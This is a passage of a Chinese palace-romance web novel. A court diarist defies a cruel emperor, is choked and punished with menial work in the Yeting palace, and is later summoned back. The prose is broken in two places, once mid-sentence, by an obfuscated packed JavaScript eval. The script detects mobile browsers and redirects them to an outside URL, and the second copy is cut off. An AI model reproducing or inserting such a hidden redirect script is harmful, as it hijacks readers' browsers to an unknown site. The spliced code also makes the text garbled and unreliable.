见素行还想去捡鞭子,我凶狠地朝她飞了个眼刀,她一愣,随即目光发狠,握紧了鞭柄,作势要抽,我被制着,没法躲,双眼一眯,龇出一排凶恶的小白牙。 两个女人像两只野兽一样对着哈气。 这时,书房的门从里面被打开了,走出一个手持拂尘的老内侍。 那内侍神情淡漠,眉毛疏淡,眼尾耷拉着,像是一条皮肉松弛的老狗。 他掀起眼皮,看了我一眼,冷冷道:“闭嘴,聒噪的东西,陛下容你入紫宸殿伺候,不是让你来当打鸣的鸡的。” 我看他觉得眼熟,仔细回忆一番,倒吸了口凉气,这不就是前日那个连着带走阿爹二叔和哥哥的那个老内侍吗! 那老内侍又垂下了眼道:“素行退下吧,吴队正,把沈缨押进去,陛下要见她。” 说罢转身回了书房,留一大票侍卫和两个凶恶的女人在殿中面面相觑。 素行不甘地瞪了我一眼,恨恨地一瘸一拐地走了。 “沈娘子,得罪了。”领了上命,吴队正向我一拱手,对手下小侍卫们喝道:“搜她的身!” 由于我前科累累,他表现出了惊人的细致谨慎,甚至连我束发的木簪都没有放过。 “这有什么好收的,”我道:“收了我拿什么束头发?” 吴队正木然道:“以防万一。” 我只得任他把我的木簪子拔掉,念念叨叨道:“哎呀,我岂有弑君的胆子?本来就是为了保家人的命才答应来做起居郎,如果真向他动手,他们还能有命在吗。” 别人我不敢说,但婶子一定第一个在黄泉路上打爆我的狗头。 李斯焱敢把我放在身边,大约也是知道,我虽然嘴上说得狠,但顾忌着家人性命,是没有胆子杀他的。 然而在吴队正眼里,我已经毫无可信度了,是他社畜生涯中的拦路妖魔。 里三圈外三圈检查完毕,他再次把我反剪了双手,扔进李斯焱的御书房。 侍卫把我扔进门的的时候,李斯焱正进行晨间办公。 他似是刚起身没多久,只随便地套了一身青绿色长袍,带子也没系好,露出了里头的月白中衣来,正以一种放荡不羁,与皇帝身份极为不符的姿势坐在案前,身边堆着山一样的表奏。 见我第一句话是:“沈起居郎,鞭子使得顺手吗?” 他似乎并不生气,仍面色如常看着表章,握笔的手指修长而干净,让人十分惋惜,这么赏心悦目的手怎么长在了一个畜生身上。 我诚实地回答道:“华而不实,物类其主。” “唔,”他森森地笑了:“好一个物类其主。 他问道:“你为什么不穿素行给你的衣服,若是不喜欢,何不让素行给你换一套。” “你给我授的是六品起居郎之职,理应着石绿官服并犀銙幞头,她给我穿的那是什么鬼东西?” “怎么办呢?朕这儿没女子的官服。” 他笑得更加灿烂了:“既然你不喜欢宫装,朕不强人所难,你就干脆什么都别穿了吧,素行过来,把她的衣服扒掉烧了,只留中衣。” 我勃然大怒,尖声道:“好得很!你尽管作弄我,我今日便穿着亵衣随你上朝去,让朝上的群臣都看一看,他们的新皇帝是个不给起居郎衣服穿的大昏君!” 他把笔搁到一边,双手交缠抵在下颌处,悠悠道:“你说得对,朕就是个前不见古人后不见来者的绝世昏君,朕坏透了,不仅爱杀史官,还不爱给起居郎穿衣裳,素行愣着干什么,把她的亵衣也扒了。” 我大惊失色,对跃跃欲试的素行咆哮:“你敢动我!” 李斯焱凉凉道:“沈起居郎若不喜欢素行,那就让殿前侍卫代劳吧,上朝的时辰快到了,莫让朕等太久。” 我的拳头握紧又放开,眼前一阵一阵地发黑,额头上的伤口又在痛——被李斯焱气的。 论无耻和不要脸,这天下没人能胜过狗胆包天的李斯焱,什么仁义道德君王之仪,在他眼里统统是狗屁。 他好像格外喜欢看我气恼吃瘪的模样,放下了笔,专心致志地欣赏我的窘态,狐狸眼快乐地眯成一条缝,边欣赏还边说风凉话:“沈起居郎,你以为朕的紫宸殿是你家史馆,随你折腾吗?我说过,你性子越烈,我就越想把你的傲骨碾碎,不过吧,你生龙活虎起来,比前几日半死不活的样子倒是有趣多了,朕喜欢。” “李斯焱,你……你这个狗贼。”我咬牙道。 “骂得好,”他抚掌称赞:“骂得朕神清气爽,如闻仙音,再骂几声,朕这就把它裱到墙上去,早晚看着,痛快。” 我在原地喘了很久的气,不止额头在痛,胸口也在痛。 我简直无时不刻想扑上去拧掉他的狗头,但一想到婶子和小川,只能强忍着仇恨与愤怒,努力让自己平静下来。 在狗皇帝哈哈大笑声中,我屈服了,任由宫女们把我塞进一件温柔乖顺,飘着无数条绸带的宫装里。 铜镜里的我看起来非常生无可恋。 我二叔说过,礼就是规矩,礼服就是囚笼,把人死死框在寸寸布料里,日日如此,比镣铐更加磨人心志。 宫装限制了我的步距,让我只能走那种娘唧唧的小碎步,我困惑地看了眼我身边持镜子的宫女,不自觉问她道:“姐,你怎么穿着这衣服干活的,不会破的吗?” 我诚心发问,那宫女却以为我在调戏她,小脸一青,走了。 我:……行吧。 * 当我拖着累赘的裙裾,迈着小碎步前来上班时,李斯焱正在穿他的朝服。 面对结构复杂,层层叠叠的皇帝朝服,他看起来比我还烦躁。 我噗嗤一下乐了,幸灾乐祸。 他抖抖袖子,漫不经心地回身一看,正好瞧见站在门口的我。 他明显地愣了一下,眼中闪过一丝古怪的神色,慢慢地走过来,捏起我的下巴仔细端详一番。 一只手指拂过我施了口脂的唇角,甚至还有意无意地摩挲了一下。 把我恶心得够呛,奋力偏过头去。 “不错。”他用手帕擦了擦食指,在素白的帕子上留下一点绯红色,又把帕子塞回怀里,点头评价道:“果真人靠衣装,你这中人之姿,收拾收拾也有那么几分国朝女官的样子。” 这是他第一次见到我正常的模样,前头几次,要不然我披头散发状若疯狗,要不然就是裹着绷带状若女鬼,唯有这一次勉强像了个人样。 我摸了摸自己有人样的脸,结果一个不小心,把脸上贴的花钿给抠了下来。 很尴尬。 给我化妆的宫女绝望地转过了头。 李斯焱恰好看到了,伸手过来,把我另一边的花钿也撕了下来,随手扔在桌案上道:“你贴这个玩意儿真难看,还不如不贴。” 这可能是今天李斯焱对我说的第一句人话。 “拿好笔墨,随朕上朝去。”他斜睨着我,嗤笑道:“沈起居郎,你不是史官世家,才学出众吗?那待会儿朕说什么,你统统要记下来,如果你敢漏一字,今晚紫宸殿上下的夜香,就都由你来倒。” 来了来了,刁难这就来了。 “好。”我简短地答应。 李斯焱这人极记仇,我前日在宣政殿上骂他是掖庭里倒夜香的货色,被他记住了,今日特特拿这个来料理我。 大概是我答应得太爽快,他反而不高兴了,脸色一下阴鸷得要命,半晌,他从鼻子里哼出一声,长腿一迈,从我边上傲慢地走过。 我毫不掩饰地翻了一个大大的白眼。 呸,喜怒无常的狗皇帝。 * 皇帝身边的起居郎一般会配备两位,左史记言,右史记事,可是李斯焱刚刚走马上任没几天,人还没配齐,所以现在只有我一个,言事一手抓,一份工资干双份活。 我生无可恋地叹了口气,望了一眼面前坐了满堂的文武百官,心里又开始发堵。 原以为有朝一日,我会以编撰的身份站到朝会的队伍里去,可我做梦也想不到,第一次进宣政殿,我在廷下怒骂当朝皇帝,第二次进宣政殿,我坐到了起居郎的位置上,给我前日骂过的狗皇帝写起居注。 这是什么狗日的人生啊。 况且给李斯焱写起居注是件大大的苦差,他脑袋灵活,语速快,跟连发机关弩似的,把朝堂上的老文臣们训得满头大汗,个个都敢怒不敢言。 这就是带我上朝的作用了,我像一个现成的杀威棒一样摆在狗皇帝身边,群臣们一见我,就想起狗皇帝连杀三位史官立威的恶劣行为,便是想忤逆他的意思,也要先在心里掂量掂量。 连个年轻小娘子都不放过,这皇帝心眼是有多小啊! 除了有杀鸡儆猴的作用,我还是一个没有感情的听写工具,坐在一旁运笔如飞,把狗皇帝讲的一堆屁话统统记下来。 狗皇帝放的这些屁,当真是又臭又长,写得我手腕子生疼。 但我记着记着发现,李斯焱讲话的用词堪称粗俗,偶尔还夹带几个我听都没听过的语气助词,据我分析,应该都是不太干净的词汇。 我猜他在掖庭的那些年里,可能没有正经地接受过作为皇子的教育,即使后来拼命追赶,语言习惯依然隐秘地暗示着他卑微的出身。 轮到这么个人当皇帝,我看本朝是气数将尽了。 下朝之后,李斯焱第一时间来检查我的作业。 在朝上的时候,他就频频转头观察我,看样子他非常期待我今晚去给紫宸殿倒夜香。 我一言不发把一沓草书递给他。 他接过来一张张翻看。 “你写的这是什么,朕没说过这些话。”他扬了扬稿纸,挑刺道:“史官世家,看来也不过如此。” 我本来已经准备下班吃点早膳去,一听这个,食欲都被气没了。 真是岂有此理,你可以侮辱我,但绝不能侮辱我的业务能力。 我一下就站了起来,指着那纸页争辩道:“我没记错,是你自己对宰相大人说“行,叫张黎是吧,我看吏部尚有职位,就让他去补吏部侍郎的缺。”,我写“上曰:善,准张黎任吏部侍郎”没有任何问题。” 李斯焱气定神闲,几截好看的手指头微微发力,把我辛苦写好的纸页几下撕成碎片,随意往废纸篓子里一扔。 “朕说了那么多,你却只记了这几个字,偷工减料,态度不正,重写吧,记得一个字都不准漏。” 我愣愣地看着我的笔墨被撕碎,再雪片一样缓缓下落,不可置信地抬眼,突然回过神来,怒道:“不是你叫我写起居注的吗,干嘛还要撕掉它!” “朕说了,要一字一句地记,你既然不按规矩来,那当然要撕了才行。”他懒懒道。 我气得口不择言:“ 谁用大白话记史啊?李斯焱你是不是在掖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599792|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庭里压根没读过书,好歹也是一个皇子,怎么会连这个都不知道?” 一听到掖庭二字,李斯焱好整以暇的神情顿时烟消云散,换做一种阴冷的面容。 他揪住我的前襟,慢慢地把我拎起来,淡淡道:“闭嘴。” 宫装本就紧绷,我被拎得呼吸困难,但还是坚持在他伤口上撒盐:“你读过四书五经吗?你读过十三代史吗?你在朝上说的那些词句,活脱脱一个粗俗的市井流氓,哪有半分读过书的样子,让我一字一字记?你也不怕流传下去遭后人耻笑。” 他凑近我笑道:“朕说话粗俗,惹人耻笑,可惜你父兄读书万卷,却还是了结在朕这个粗人手里。” 这是我最刺痛入骨的新伤,好不容易结出了一点疤,又被他狠狠撕下,我恨得要命,从牙缝里挤出几个字:“你不爱听是吗……我偏要说……滥杀无辜的狗皇帝,掖庭罪妇……” 我刚说到掖庭二字,哆嗦的嘴唇猛然间停下了,方才失去的理智又如潮水一般涌回了我的身体里。 我想起婶子送别我时,叹着气嘱咐我,让我别再李斯焱面前提起他的母亲,这是他的逆鳞,若把他气疯了,我们全家的命都未必保得住。 电光火石间,我悬崖勒马,把掖庭罪妇生的狗杂种强行咽回肚里。 可还是太晚,他猜到了我想骂什么,扼着我脖子的手逐渐用力,在我艰难的呼吸声中,他面无表情地凑近我,眼里满是无法收束的戾气,戾气的中央倒映着我痛苦的面容。 他紧紧制住我的呼吸,轻声道:“沈缨,是朕太纵容你了,让你什么混账话都敢往外说。” 我的意识已有些不清了,濒死之际,浑身爆发出惊人的力量,拼了死命挣扎,他被我一脚踢中,却混不在意,扼我脖子的手半点没松懈。 “你以为朕不知道你在想什么吗?从早晨起你三番五次的闹腾,无非就是在探朕的底线,看看朕能容忍你到几分,对不对?” 我停了挣扎,呆呆地如遭雷击。 他笑了一下,狐狸眼微微眯成条缝,但声音还是那么阴冷。 “朕原是想由着你,可现在不想了,既然那么喜欢掖庭,朕就送你去那里经历一遭,让高高在上的沈编撰也尝尝屈居人下,满手污秽是怎样的感受。” 说罢,他双手一松,冷冷地补充道:“去了掖庭,让夏富贵给你安排个倒夜香的差事,好让你也当个粗俗人,如此我们主奴才般配。” 他话音落地,终于收回了手,脖子上的桎梏卸去,大量新鲜的空气重新回到我的肺部。 我双腿一软,跪坐在地,捂住喉咙,像个溺水之人一样猛烈地咳嗽起来,一直咳到满脸通红。 生理性的泪水糊了满眼,我渐渐看不清李斯焱的脸色了。 我沙哑道:“……你……” 狗皇帝直指门外,垂眼道:“行了,趁朕还给你留了口气,赶紧滚吧。” 一听他下了令,两个早就侯在一旁的侍卫麻利地架起我,像是拖一个麻布袋一样,把我拖出了紫宸殿。 泪眼朦胧中,我无意识地看向了李斯焱,看到他大步走回了大殿中,静静立了半晌,突然抓起一只瓷瓶,狠狠摔在地上。 我一边咳嗽,一边无比清楚地感知到,这个人好像,被我惹怒了。 * 就这样,在狗皇帝的天子一怒之下,我被罚去了掖庭。 掖庭,全名掖庭宫,又有长安第一劳改所,过气嫔妃收容基地等恶名。 如今我也算个名人,满掖庭的人都听闻了我的光荣事迹:世代做史官的沈家出了个泼辣的小娘子,在宣政殿上破口大骂当今圣上,被圣上罚做起居注十五年,非死不得出宫,结果上任第一天,就因触怒圣上,又被罚入了掖庭倒夜香。 宫女内侍们纷纷感叹:这小娘们惨是真惨,但作死也是真作死。 侍卫把我拎进了总管的屋子,让小侍童去喊总管大人。 小侍童腿脚麻利,不一会儿,就引来了一个穿戴光鲜的内侍。 小侍童谄媚极了,连连道:“夏大人请。” 那夏大人很是受用,嗯地应了一声,抬腿跨入了屋内,突然间一眼瞧见了我的脸,他的脚一滑,险些摔倒在地。 我翻了个白眼,嚯,夏富贵,又是这个龟孙。 “缨……咳咳,这位不是沈起居郎吗?怎么忽地来了我这掖庭,陛下这是……” 他盯着我猛瞧,支支吾吾地问我身后那两个内侍,不确定要不要把我扶起来。 我身后的内侍简略复述了一遍我的作死行为。 寥寥几句,信息量惊人。 夏富贵越听越震惊,到最后嘴大得可以塞下一只鸡蛋,伸出来扶我的手也圆润地缩了回去。 “……陛下的意思是,让沈起居郎在掖庭里倒夜香反思,直到想通了才准出去,具体怎么安排,由夏大人定夺。”侍卫道。 “我定夺?”夏富贵受宠若惊。 “哦,我晓得了。”他是见风使舵的好手,立刻拍着胸脯,做出义愤填膺之态道:“……此贱妇胆敢冲撞圣上,当真是大胆至极,亏得圣上仁德,才让她来掖庭倒夜香反省,两位大人放心吧,这犯妇来了我这掖庭,断不能让她还有兴风作浪的机会!” “如此甚好。”侍卫一拱手道:“人既已带到,我等便不打扰大人了,先行告辞。” “两位慢走。”夏富贵挥起他的小手绢。 * 送走了两个侍卫大哥,我和夏富贵大眼瞪小眼半晌。 最后,夏富贵屏退了下人,干巴巴地对我道:“妹子,你这是在干什么呢。” 我横眉道:“谁是你妹子,老娘是你祖宗。” 夏富贵脾气好,从善如流:“行,你是我祖宗。” 我气不顺,张口又怼:“脸皮真厚,祖宗都叫得出口,真不愧是李斯焱的好奴才。” 夏富贵知道我嘴贱,也不恼,给我松了绑道:“我的小姑奶奶啊,你恼我没关系,但你何苦招惹紫宸殿那位,他在掖庭的时候就是睚眦必报的主,如今做了皇帝,越发阴晴不定了,你惹了他岂有好果子吃?伴君如伴虎,且收一收你的驴脾气吧,啊。” 我也明白他劝我,是想我过得好一点,但还是咽不下这口气,恨恨道:“狗皇帝欺负人,这天底下哪有被欺负的人去讨好欺负人的道理!” 夏富贵吓得一激灵:“你小点声骂,被听到可不得了!” 复又叹道:“缨缨,你没在宫里头待过,你不知道,进了那道门,俗世间的道理就统统不起作用了,没人能直着脊梁活下去,就算是宰相之尊,遇见皇帝也要下跪,唯独你想站着,哪来那么好的事儿呢?” 我别过头道:“我已经尽力忍耐了,可他撕了我记的起居注,百般刁难于我,我一时没忍住才……” 夏富贵急了:“就为了这事?我的好妹子,你可真是一丁点委屈受不得啊!” 5. 第五章-掖庭五日游 我也委屈啊,被夏富贵一说,眼泪都快上来了。 “道理我都懂,但我忍不住。” 夏富贵道:“上回的教训还不够吗?你倒是也长长记性啊。” “这龟孙阴晴不定,一会儿笑嘻嘻地,一会儿又掐人脖子,我怎么晓得哪一句惹着了他?” 夏富贵给我倒了杯茶,撩衣坐下道:“你也是傻,圣上统共就两个提不得的事儿,一桩是掖庭里面倒过夜香的遭遇,一桩是他亲生母亲,你可倒好,踩着这两桩事使劲儿地蹦跶,他不收拾你收拾谁。” 我正色道:“我们史官耿直,向来有话直说,哪像外头人,总爱藏着掖着。” 夏富贵打了个寒颤:“这个职业病太可怕了,要改。 又开始自我标榜:“你瞧瞧哥哥我,就是靠着口风紧,会做人,才平平安安在掖庭里混了那么久。” 我好奇心起,问他道:“口风紧?听你这意思,你早就知道当年那个倒夜香的小孩儿是皇帝的儿子了?” 夏富贵摇头道:“那当然不知道,这事儿不仅隐秘,还离奇曲折得很,我当时不过是一个末流小内监,哪有资格掺合她们娘娘间的恩怨呀。” 我做出一个愿闻其详的手势,夏富贵贼头贼脑地四下打量一番,小声对我说起了李斯焱的身世。 李斯焱的亲娘本是长安官宦人家的淑女,但后来因一桩贪腐案而被抄了家,和其他女眷一起,被充入了掖庭为奴。 当时后宫情况十分诡异,贵妃椒房专宠,牢牢霸占着皇帝,让六宫嫔妃敢怒而不敢言,连皇后都要避其锋芒,但后来有一日,皇帝独自去龙首原登高时,瞧上了随侍的李斯焱亲娘,一时色迷心窍幸了她,事后却不敢对贵妃说起。 可世间之事就是那样巧,不过是一夜雨露,李斯焱的亲娘发现自己竟怀上了龙种,她吓得魂飞魄散,想把孩子打掉,又害怕谋害龙种的重罪,惶然之下,同屋的女人建议她去寻求皇后的帮助,她喏喏听从,去皇后宫里哭了一夜,第二日,皇后把她调入了自己宫中,给了她孕期内的庇护。 此事如夏富贵所言,是一桩宫廷秘辛,直至李斯焱降生,知道此事的不过是皇后宫中的二三心腹宫人而已。 李斯焱人生的头两年住在皇后宫里的地窖里,皇后去世后,母亲领了她的遗命,带着年幼的儿子搬回了掖庭,让他做一个最普通的倒夜香小侍童,以逃过贵妃无处不在的眼睛。 直至李斯焱长到了十岁上,贵妃病逝,当年皇后留下的老宫人把此事告知了皇帝,李斯焱才从一个卑贱的掖庭内侍一跃为国朝四皇子。 可一个人很难背叛他的童年,即使十岁后锦衣玉食,大儒围绕,也没能改变他的性情,可能他的人格中被永远地嵌入了掖庭宫幽暗的影子,具体表现在他比起两个哥哥更加简单粗暴,更加心黑手狠,更加缺乏底线的约束。 夏富贵感慨道:“掖庭就是这么个邪门的地方,越缺德越能过得好,不怪乎能把龙种养歪。” 我道:“也不能全怪环境吧,他们皇家都是胎里带来的缺德……” 掖庭里的日子一定是难捱的,连夏富贵都说不清楚李斯焱在掖庭里到底经历了什么,他冷吗?饿吗?亲娘有关怀过他吗?除了他自己没有人知道。 彼时夏富贵也只是个微末内侍,见李斯焱老是受其他小孩儿的欺负,便动了点恻隐之心,给过他几只馒头,这一点小小的恩惠,十几年后膨胀成了一顶掖庭总管的天大帽子,一下砸在了夏富贵毛发稀疏的脑袋上。 夏富贵说着说着,又开始埋怨我:“要不怎说缨缨你傻呢,明明当初给馒头的时候,你也在旁边啊,你把这事在圣上面前一说,说不定他就对你网开一面了呢?” 我回道:“我看你才你记性不好,我当时没有留名姓,现在和他说那个好心小女孩儿是我,他怎么会信?” “你看你,就这么错过了一桩大功。”夏富贵惋惜极了:“他要是知道了沈编撰是给他馒头的小娘的父亲,定不会杀你阿爹。” “就凭一个馒头?我哪来那么大的脸面。”我摇了摇头:“你不知道吧,昨天他半夜里带我去了御史台大狱,当着我的面对郭先生动了刑。” “郭先生?” “郭辛,郭黄门郎,从前为先帝传诏令的那位老先生。”我道:“他心慈,对李斯焱也有过照拂,可是有什么用呢,就因为不愿说出两个小世子的下落,照样被李斯焱下了毒手。” 夏富贵露出惊诧至极的神色。 我摸摸他稀疏的脑袋顶道:“富贵儿啊,你能当上掖庭总管,凭的不是对他有恩,而是因为你无关紧要,可我们沈家人不一样,我家世代史官,骨头硬,但毫无自保之力,最适合用来立威不过,你说,他怎么可能放过我们呢?” 夏富贵沉默下来。 他虽不懂朝堂,但多年的宫廷生涯让他深谙权力的运作逻辑,只得叹道:“这就是命了。” 我又低头道:“对啊,细细论来,倒是我的错了,若是那一日我没有偷偷跑进宫里来,没有救下李斯焱这狗贼……就任由他被那几个内侍打死,说不定一切都不会发生,我阿爹二叔和哥哥都能好好儿的,休沐日我们一家子去东市玩耍,去城郊踏青……” 说到最后,声音越来越轻,几乎哽咽。 夏富贵安慰道:“怎么还自责上了,没意思,世上的因果谁说得清?我们宫里有一句俗语:只看日后,不论如果。要知道过去的东西都过去了,今后的日子才是最要紧的。” * 用过了晚膳,夏富贵把我领到一扇偏僻的小门处,指指里头道:“我着人给你收拾了个屋子,这样,你先在这里混个几日,过两天等圣上的气消得差不多了再回去,以后注意着点,别再被罚进掖庭了,这里可不是什么好地方……” “啊!!老鼠!!天呐!富贵儿你看那里有老鼠!啊!” 我的惨叫打断了夏富贵的絮絮叨叨。 “什么?在哪里?”夏富贵被我抓得嗷嗷直叫:“姑奶奶轻着点儿,你不放开我,我怎么帮你撵耗子?” 我哆嗦着手脚爬上床。 夏富贵打开后门,拿起一副扫帚,几下把那肥硕的啮齿类动物赶了出去,回头一瞧,只见我正蹲在床上瑟瑟发抖,一副遭到了巨大冲击的模样。 夏富贵不可置信道:“缨缨,你怕老鼠?” 我艰难地点点头。 “沈缨你连圣上都敢骂,你居然会怕老鼠??”他整个人都抓狂了。 “狗皇帝和老鼠比,当然是老鼠更可怕啊!”我带着哭腔大声道:“那边还有一只!快帮我打死它!” 人类的悲喜好恶各不相通,由于出身与经历塑造了不一样的思考方式,在关键时刻,我们也会做出不一样的选择:我出身于清流世家,害怕耗子的长尾巴,却敢在宣政殿上指着新上任的皇帝破口大骂;富贵儿出身尘泥,他不怕老鼠,却畏惧上位者的雷霆雨露。 “……这屋子一直没人住,耗子多了些。”夏富贵嘟囔道:“不知道你怕这东西,收拾得不周到,你将就些吧。” “没有了吗?真没了吗?” 夏富贵沉吟:“表面上是没了。” 我眼泪汪汪地从榻上溜下来,对夏富贵道:“你说会不会有一天,我习惯了宫里的日子,连老鼠都不怕了?” 夏富贵一时没明白,疑惑道:“你问这个做什么。” 我道;“我在想,李斯焱把我抓到宫里来给他写起居注,是不是就像狸奴在逗弄老鼠,开心了拿出来逗一逗,被咬了就给它些苦头吃,直到把猎物折磨到力竭而死,他想磨光我的心气,对不对。” “如果我有一天被折磨到连棱角都没了,任他搓圆摁扁一声不吭,看着老鼠从榻边跑过眼也不抬,那我还是我吗?到那时候,我除了活着,还能做什么呢?” 夏富贵糊涂道:“能活着还不够啊?” “我是说……” “妹子,船到桥头自然直,瞎想那么多也没用。”夏富贵打断了我,朝我晃了晃一根手指道:“不过妹子你提醒了我,我想到个绝好的赶耗子的法子。” 我的注意力一下被他带跑了,顿时把想了一半的问题抛在一边,热切道:“什么法子?” 夏富贵兴奋地告诉我,前日尚宫局养的老狸奴下了窝猫崽,正巧夏富贵被升了官,尚宫那边送了他一只小狸奴作为贺礼。 该狸奴小小年纪显示出了惊人的抓耗子天赋,所到之处寸鼠不生,既然我那么怕耗子,那他就送佛送到西,友情把爱猫借给我镇宅好了。 夏富贵手脚迅猛,一盏茶的功夫,我的屋里就多出了一只可可爱爱的小狸奴。 我对它自我介绍我叫沈缨是她的临时主人,它矜持稳重地对我喵了一声。 “它叫小咪,”夏富贵道:“……你别笑了,这名字哪里土了,多可爱啊。” 随小狸奴一块儿送来的是一副挑担,夏富贵轻描淡写道,这个担子是挑粪水用的,他还告诉我:让我体验倒夜香是圣上的意思,他一个底层执行者,不方便给我减刑。 但是作为智慧的劳动群众,办法总比困难多,聪明的他决定派一个有多年丰富倒夜香经验的小侍童来协助我,这样我就不必亲自提桶上阵了。 夏富贵表示,倒不是他有多照顾我,而是他看我不太像是能干活的样子,别把粪水撒一地,明天屎漫掖庭。 我觉得自己被看扁了,摸着小咪毛茸茸的头顶,痛心疾首道:“在你心里我就如此废物吗。” 夏富贵:……你觉得呢。 * 直到亲眼见到了夏富贵给我找的帮手,我才明白夏富贵真没跟我客气,在他心里,我确实是一个大号的废物。 我看着眼前低眉顺眼,不过八岁的的小侍童,心中油然而生一股罪恶感。 我八岁的时候在干什么?早晨做功课,下午跟孟叙玩,晚上趴在婶子膝头听二叔讲故事,十指连阳春水都不沾,更别提粪水了,可这个小孩儿,他八岁时,已是全掖庭收夜香最熟练之人,可怜中又带着那么一点微妙的励志…… 他打量着我,告诉我他叫意得,然后试探性地叫了声姐姐。 这声姐姐击溃了我,我受不了良心的谴责,主动帮他挑起了挑担。 挑起担子的时候我不由得想起李斯焱。 世事当真无常,即使现在他成为了冷血暴戾的狗皇帝,八岁时的他也只是一个倒夜香的小朋友。 可惜不是每个小朋友都会像沈缨小朋友一样快乐正直地长大,很多小朋友会在操蛋环境中长歪,长成一棵毫无同理心的歪脖子树,没有被好好爱过,也不懂得怎么爱别人,只知道去抢去偷,去不择手段地拿到想要的东西。 * 收夜香的过程中弥漫着熏天的便溺味儿,差点把我送走。 好不容易熬到了收工之时,我回了屋,对着面盆昏天黑地地呕吐起来,边吐边在心里亲切问候李斯焱的祖宗。 小咪凑过来闻了闻,然后嫌恶地跳到柜子上,居高临下鄙视着它的新室友。 第二天,夏富贵来探望我,给我带来了一副友情自制鼻塞,并且告诉我,今晚还要继续。 他感慨道:“你这种富家小娘子,自是想像不到我们掖庭人的苦楚,这才刚开了个头呢,我看你还是趁早跟圣上服个软吧,也少吃点苦头。” 我回道:“想得美,李斯焱把我扔到这里来,不就是要看我的窘态吗?没欣赏够我的倒霉样儿,他才不会舍得让我去紫宸殿呢,求他也无用。” 夏富贵叹道:“作孽啊……” 就这样,第二天,第三天,第四天,第五天……五天,我整整收了五天的夜香。 我甚至觉得我已经被腌入了味,要不然为什么人人都避着我走,唯独夏富贵养的黄狗看我的眼神越发缠绵火辣。 夏富贵解释道:“大黄以前爱吃人类排泄物,可能他闻见你的味道,回忆起了往昔峥嵘岁月……” 我:求求你闭嘴吧哥。 *

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599793|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 其实凭心而论,在掖庭里的日子也并不难过,远离了李斯焱那个疯狗,我情绪已平稳了许多,弥漫在身体里的那些悲伤好像在被一点一点收集起来,抓成一把,然后安放在心里的一个角落。 我时常睡到日上三竿,但奇怪的是,在这几日里,我一个梦都没有做成,我想,大概是阿爹和哥哥怨我不好好听话,才不愿意给我托梦,二叔去了婶子的梦里,也没空来找我。 我好想他们。 第三天时,我收完夜香,在长安凄冷的月色下,撩衣跪倒在地,朝东南方磕了三个响头。 意得静静地看着我磕完起身,轻声问道:“姐姐在跪谁?” “我的父兄,还有叔叔,今天是他们头七。”我黯然答道。 良久,我又补充道:“……我是个不孝女,他们的遗愿,我一个都没有做到,还把自己弄成了这样。” “我也是个不孝子。”意得说:“耶娘走前让我照顾弟弟,可我没照顾好,弟弟死了,我只能把他埋在村头的小树下,一个人来了长安。” 我安慰他道:“不是你的错,你能活下来,就已经很好了。” 他看着我的眼睛道:“是啊,能活下来都是好的。” “我与姐姐投缘,姐姐在紫宸殿当差吗?那我以后也要争取去圣上面前当差。”他认真道:“我会努力。” 我不知道该说什么,只能叹口气摸摸他的脑袋道:“好啊。” * 第六日清晨,我抱着被子睡得正迷糊时,突然听见一阵急促的敲门声。 我匆匆披衣起身,把门拉开一条缝,露出夏富贵喜滋的小肥脸。 他顺势从门缝里挤了进来,脸上挂着夸张的喜悦笑容,小咪乍然见到主人,跳到他身边喵喵喵地撒娇,夏富贵的嘴咧得更开了。 我纳闷问道:“富贵儿你有什么喜事吗?狗皇帝给你发了赏金?还是婉儿姑姑同意了和你对食?” “去去去!”夏富贵白了我一眼:“是为你高兴啊姑奶奶!圣上召你回紫宸殿当差,你今晚不用倒夜香咯!” 我一怔,脱口而出道:“那么快啊?” 我还以为狗皇帝起码要冷我一个月呢,现在就召我回去,也太急了些吧,他那么缺起居郎吗? 夏富贵兀自喜滋滋道:“不管怎样,我是不必再伺候姑奶奶你了,快去把宫装换上,别让侍卫大哥等太久。” “哦。”我嘟囔道:“万一哪天李斯焱又发疯病,我还得来你这避难。” “呸呸呸,不吉利,你回去之后别老惹圣上生气了知道吗,发脾气之前想想你堂弟,多忍着点……”夏富贵絮絮叨叨叮嘱道。 说罢他抱起他的小狸奴,脚下生风出了我的屋子,春风满面地和那两位御前侍卫套起了近乎。 满掖庭的人都发现了,今天夏总管的心情好像格外地好,你看那小胖脸上都笑出褶子了,看着跟条沙皮狗似的。 * 一个时辰后,我连人带衣服一起被打包扔出了掖庭,被迫回到了狗皇帝身边。 日光下的紫宸殿格外壮丽,屋檐下站着严阵以待,警惕异常的素行。 我朝她笑了笑,素行大概觉得我的笑容不怀好意,小心地退后了一步。 阔别五日,我心态已经平和了许多,不再那么张牙舞爪、疾言厉色,十级宫廷生存达人富贵儿说得对,激怒狗皇帝是伤敌一千自损八百的行为,不值得,倒不如先虚情假意敷衍过去。 没准我当个几个月咸鱼,李斯焱觉得我不好玩了,就把我放出去了呢? 富贵儿金口玉言传授:良好的演技绝对是行走宫闱的头号法宝。 想到这里,我心平气和,面上自然而然挂上了虚伪的笑意。 侍卫把我送到后,我便落在了素行手里。 素行本想押着我去见李斯焱,可是她一闻到我身上的味道,鼻子肉眼可见地皱成了一团。 在她眼里,现在的我不仅是一坨垃圾,还是一坨散发的屎味的垃圾。 我心想嘿你还敢嫌弃我了,你主子不也倒过好多年夜香,你敢嫌弃他吗? 